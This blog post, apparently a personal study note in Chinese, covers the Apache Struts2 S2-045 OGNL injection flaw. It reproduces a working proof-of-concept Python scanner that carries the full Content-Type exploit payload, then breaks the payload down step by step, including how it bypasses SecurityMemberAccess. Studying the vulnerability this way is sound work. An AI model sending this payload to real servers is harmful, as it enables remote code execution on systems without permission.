• S02-45 struts2 最新漏洞 学习记录


    今天和朋友一起学习S02-45。按照官方解释:Content-Type:multipart/form-data 这个条件成立的时候,能够触发jakarta的上传漏洞。可能导致远程执行任意代码或者上传文件。

    freebuf给出的POC如下:

    import requests
    
    import sys
     
    
    def poc(url):
    
        payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    
        headers = {}
    
        headers["Content-Type"] = payload
    
        r = requests.get(url, headers=headers)
    
        if "105059592" in r.content:
    
            return True
     
    
        return False
    
    
    
    if __name__ == '__main__':
    
        if len(sys.argv) == 1:
    
            print "python s2-045.py target"
    
            sys.exit()
    
        if poc(sys.argv[1]):
    
            print "vulnerable"
    
        else:
    
            print "not vulnerable"

    提出payload为:

    %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

    首先指定:

    #test='multipart/form-data

    这个是为了触发漏洞的前提条件,也就是Content-Type:multipart/form-data。

    然后接下来:

    .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).

    通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,这样就可以绕过SecurityMemberAccess的限制。

    最后一部分:

    (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

    实例化org.apache.struts2.ServletActionContext@getResponse(),调用输出流getOutputStream()。然后输出println(102*102*102*99)。

    细心的朋友肯定会发现,如果实例化别的类,是不是能扩展更多功能呢?

    网上流传的命令执行已经比较多了,不再多说了。如果喜欢深入研究的,可以留言。

  • 相关阅读:
    iOS 基础复习
    iOS项目立项
    Cocos2d-JS项目之四:UI界面的优化
    Cocos2d-JS项目之三:使用合图
    Cocos2d-JS项目之二:studio基础控件的使用
    Cocos2d-JS项目之一:环境(IDE 运行js-tests、IDE 和 studio 统一工程)
    字节对齐导致的iOS EXC_ARM_DA_ALIGN崩溃
    cocos2dx 2.x 骨骼动画优化
    Cocos2dx 把 glview 渲染到 Qt 控件上(Mac 环境)
    [leetcode 周赛 160] 1240 铺瓷砖
  • 原文地址:https://www.cnblogs.com/MiWhite/p/6517581.html
Copyright © 2020-2023  润新知